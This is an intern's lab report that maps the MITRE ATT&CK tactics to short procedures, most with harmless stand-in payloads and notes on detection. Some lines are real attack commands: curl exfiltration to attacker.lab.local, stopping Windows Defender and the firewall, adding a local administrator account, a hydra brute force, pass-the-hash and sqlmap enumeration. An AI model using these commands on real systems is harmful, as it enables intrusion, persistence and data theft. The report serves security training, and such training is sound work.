**Cybersecurity TTP PoC**

**Prepared by:Ishan Chowdhury**

**Intern ID:159**

**Team:** **SkullFaced**

1. **Initial Access**

**1.1 Phishing (Email Attachment) — T1566.001**  
**Objective:** Simulate targeted phishing with a harmless payload.  
**Lab Setup:** Kali Linux attacker, Windows 10 victim, internal SMTP server.

**Procedure 1:**

swaks --server mail.lab.local \

--from attacker@evil.local \

--to victim@lab.local \

--attach benign.pdf \

--header "Subject: Urgent Invoice" \

--body "Please see attached invoice."

**Procedure 2:**

Sub AutoOpen()

    MsgBox "Simulated payload executed"

End Sub

**Expected Outcome:** Victim opens attachment, harmless macro runs.  
**Detection:** Email filtering, sandbox analysis, macro execution alerts.

**1.2 Drive-by Compromise — T1189**  
**Objective:** Inject JS into a web page to execute when visited.  
**Lab Setup:** Apache web server in isolated lab, victim browser.

**Procedure 1:**

<script>alert('Lab JS executed');</script>

**Procedure 2:** Victim visits the page in browser.  
**Expected Outcome:** Alert box appears.  
**Detection:** CSP, file integrity monitoring.

**1.3 Exploitation of Public Applications — T1190**  
**Objective:** Exploit a vulnerable DVWA app in lab.  
**Lab Setup:** DVWA server, Kali with sqlmap.

**Procedure 1:**

nmap -sV target.lab.local

**Procedure 2:**

sqlmap -u "http://target.lab.local/vuln.php?id=1" --dbs

**Expected Outcome:** Databases enumerated.  
**Detection:** Patch mgmt, WAF.

1. **Execution**
   1. **Command Execution — T1059.001**  
      **Procedure 1:**

powershell -Command "Write-Output 'Hello from lab'"

**Procedure 2:**

schtasks /create /sc once /tn TestTask /tr "notepad.exe" /st 12:00

**Expected:** Commands execute successfully.  
**Detection:** PowerShell log monitoring.

* 1. **User Execution — T1204**  
     **Procedure 1:** Create benign exe with IExpress.  
     **Procedure 2:** Rename Invoice.pdf.exe.  
     **Expected:** Runs when clicked.  
     **Detection:** Extension filtering, AppLocker.
  2. **Scripting — T1059**  
     **Procedure 1:**

print("Lab script running")

**Procedure 2:**

import base64

exec(base64.b64decode('cHJpbnQoIkxhYiBzY3JpcHQiKQ=='))

**Expected:** Script runs and prints.  
**Detection:** Decode & inspect scripts.

1. **Persistence**
   1. **Registry Run Keys — T1547.001**

Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "LabKey" -Value "C:\lab\benign.exe"

Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce" -Name "LabRunOnce" -Value "C:\lab\benign.exe"

* 1. **Startup Items — T1547.001**

copy C:\lab\benign.exe "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"

$WshShell = New-Object -ComObject WScript.Shell

$Shortcut = $WshShell.CreateShortcut("$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\benign.lnk")

$Shortcut.TargetPath = "C:\lab\benign.exe"

$Shortcut.Save()

* 1. **New User Account — T1136**

net user labuser LabPass123! /add

net localgroup administrators labuser /add

1. **Privilege Escalation**

**4.1 Exploitation of Vulnerability — T1068**

whoami /priv

**4.2 Token Impersonation — T1134**

Write-Output "Simulating token capture"

Write-Output "Impersonating SYSTEM account"

**4.3 Setuid/Setgid — T1548**

find / -perm -4000 2>/dev/null

./lab\_binary

1. **Defense Evasion**

**5.1 Obfuscation of Scripts — T1027**

$command = "Write-Output 'Hello Lab'"

$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)

$encoded = [Convert]::ToBase64String($bytes)

powershell.exe -EncodedCommand $encoded

**5.2 Disabling Security Tools — T1562**

Stop-Service -Name WinDefend -Force

Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False

**5.3 Masquerading — T1036**

Rename-Item benign.exe svchost.exe

1. **Credential Access**
   1. **Credential Dumping — T1003**

Write-Output "Simulated Mimikatz credential dump"

* 1. **Brute Force — T1110**

hydra -l admin -P passwords.txt ssh://target.lab.local

* 1. **Keylogging — T1056**

while True:

    print("Simulated key: A")

    break

**7. Discovery**

**7.1 System Information Discovery — T1082**

systeminfo

**7.2 Network Scanning — T1046**

nmap -p- target.lab.local

**7.3 File Discovery — T1083**

Get-ChildItem C:\Users\ -Recurse -Include \*.txt

1. **Lateral Movement**

**8.1 RDP — T1021.001**

mstsc /v:target.lab.local

**8.2 Pass the Hash — T1550.002**

pth-smbclient.py -hashes :<hash> user@target.lab.local

**8.3 SMB Shares — T1021.002**

copy C:\lab\benign.exe \\target.lab.local\ADMIN$\

**9. Collection**

**9.1 Screenshot Capture — T1113**

Add-Type -AssemblyName System.Windows.Forms

[System.Windows.Forms.SendKeys]::SendWait("{PRTSC}")

**9.2 Clipboard Capture — T1115**

Get-Clipboard

**9.3 Audio Capture — T1123**

Write-Output "Simulated mic recording"

1. **Command and Control**
   1. **HTTPS Communication — T1071.001**

curl -X POST -d "data=labtest" https://attacker.lab.local

* 1. **Domain Fronting — T1090.004**

curl -H "Host: fronted.domain.com" https://cdn.domain.com

* 1. **DNS Tunneling — T1071.004**

nslookup txt.labdomain.local

1. **Exfiltration**
   1. **Over HTTPS — T1041**

curl -F "file=@labdata.txt" https://server.lab.local/upload

* 1. **Cloud Service Upload — T1567.002**

aws s3 cp labdata.txt s3://lab-bucket/

* 1. **Removable Media — T1052**

copy C:\lab\labdata.txt E:\

1. **Impact**
   1. **Data Encryption — T1486**

Write-Output "Simulating file encryption"

* 1. **Data Destruction — T1485**

Write-Output "Simulating file wipe"

* 1. **Service Stop — T1489**

Stop-Service -Name Spooler -Force

1. **Reconnaissance**
   1. **Search Engine Discovery — T1036**

curl "https://www.google.com/search?q=site:target.lab.local"

* 1. **Social Profiling — T1593**

Write-Output "Simulated LinkedIn scrape"

* 1. **WHOIS Lookup — T1596**

whois target.lab.local

Conclusion:  
This Proof of Concept (PoC) demonstrates the practical implementation of cybersecurity tactics, techniques, and procedures (TTPs) in a safe and controlled lab environment. It covers all 13 MITRE ATT&CK tactics with corresponding techniques and procedures, providing a comprehensive, hands-on understanding of offensive security simulation and defensive detection methods. By executing and observing these scenarios, this PoC reinforces the importance of proactive threat detection, effective response strategies, and continuous improvement in cybersecurity operations.